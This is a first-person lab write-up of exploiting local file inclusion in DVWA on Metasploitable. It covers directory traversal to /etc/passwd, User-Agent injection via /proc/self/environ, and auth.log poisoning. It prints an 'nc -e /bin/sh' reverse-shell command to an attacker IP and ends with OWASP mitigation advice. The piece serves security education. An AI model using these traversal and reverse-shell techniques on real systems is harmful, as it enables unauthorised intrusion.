Exploiting Local File Inclusion to Gain Shell Access

This exploit is aimed at exploiting local file inclusions. The ability to exploit this occurs when a web application uses a path to a file “has to be included as an input without treating it as untrusted input. This would allow a local file to be supplied to the include statement” (https://www.acunetix.com/blog/articles/local-file-inclusion-lfi/). Before running through this exploit, let’s first define what local file inclusion (LFI) is.

According to Ian Muscat, LFI “refers to an inclusion attack through which an attacker can trick the web application in including files on the web server by exploiting functionality that dynamically includes local files or scripts. The consequence of a successful LFI attack includes Directory Traversal and Information Disclosure as well as Remote Code Execution” (Muscat, 2017). With this working definition, let's get started running through how I conducted this exploitation.

As always, I used Kali Linux as my attacker machine (https://www.kali.org/downloads/) running on Oracle VirtualBox (https://www.virtualbox.org/wiki/Downloads). I also used Metasploitable by Rapid7 (https://information.rapid7.com/metasploitable-download.html) which has the Damn Vulnerable Web Application (DVWA) pre-installed, however, you can get a standalone copy of DVWA (http://www.dvwa.co.uk/). The only other tool used in this exploit was BurpSuite which comes loaded on the Kali machine but can also be installed as a standalone application (https://portswigger.net/burp).

To begin, I ran both Metasploitable and Kali in VirtualBox. Once Metasploitable was running, I connected to DVWA. To start this exploit, I set the security parameters to low on DVWA.

Next, I navigated to the File Inclusion tab. Notice the URL opens a page which is attempting to access another page called include.php.

The next thing I did was attempt and access the page directly. Notice the page returned an error, however, it not only confirmed the existence of the include.php page, but it also showed the directory which it is located.

I decided to see if I could access the /etc/passwd file which contains a list of all the users on the machine. The error showed that the /var/www file was five directories back. To access this and traverse the desired directory, I changed the page= parameter in the URL to /../../../../etc/passwd. This successfully returned the results contained in the /etc/passwd file.

I switched the security settings to medium and attempted to traverse the directory again. This was also successful.

I decided to view the /proc/self/environ files on the server. All Linux systems have these files and according to the InfoSec Institute, these files “contain several environment variables such as REMOTE_PORT, HTTP_USER_AGENT and more. For most Linux Operating Systems the file shouldn’t be accessible from non-root users. This is why this technique is old and on upgraded systems, it will not work” (http://resources.infosecinstitute.com/local-file-inclusion-code-execution/#gref).

Closer inspection of the /proc/self/environ files show the USER_AGENT field. Using BurpSuite with the interceptor function enabled, I modified this agent by adding the PHP function passthru(). According to the PHP documentation, “The passthru() function is similar to the exec() function in that it executes a command. This function should be used in place of exec() or system() when the output from the Unix command is binary data which needs to be passed directly back to the browser” (http://php.net/manual/en/function.passthru.php).

Before forwarding this request back to the server, I enabled the netcat listener on the Kali machine to listen for any connections coming in on port 8888.

Once the netcat session was established on the attacker machine, the request was forwarded back to the browser, effectively establishing a reverse shell between the target (DVWA) and the attacking machine (Kali).

With this connection, I was able to successfully execute commands on the target server.

Additionally, I chose to see if I could view logs and execute commands using code injection to establish a reverse shell. I first navigated to the /var/log/auth.log file to see if I had read access.

Once confirmed, I tried to login to the server using an SSH connection to see if I could write to the log file.

Below are the failed login attempts written to the log file.

Once I confirmed I was actually able to write to the log, I restablished a new netcat connection now using port 1234.

Next, I replaced the username@target_IPAddress with my PHP command to gain shell access to the server.

Since the command has spaces that could be problematic when executing, I decided to encode the command with Base64 encoding. To do this, I copied the nc -e /bin/sh 10.0.2.5 1234 portion of the command and sent it to the decoder utility in BurpSuite. I then elected to encode this in Base64.

I copied the new encoded command and replaced it in the terminal. I had to also ensure that the command included instructions to decode once sent to the target log file.

Once replaced, I executed the command. I was prompted with a request for password. I just typed password to finish the command execution.

Next, I simply reloaded the web browser and went back to the terminal on the attacker machine (Kali) and saw that netcat successfully made a connection to the target machine. Additionally, I was able to execute commands.

As for mitigating this flaw, OWASP recommends “to avoid passing user-submitted input to any filesystem/framework API. If this is not possible the application can maintain a white list of files, that may be included by the page, and then use an identifier (for example the index number) to access to the selected file. Any request containing an invalid identifier has to be rejected, in this way there is no attack surface for malicious users to manipulate the path” (https://www.owasp.org/index.php/Testing_for_Local_File_Inclusion).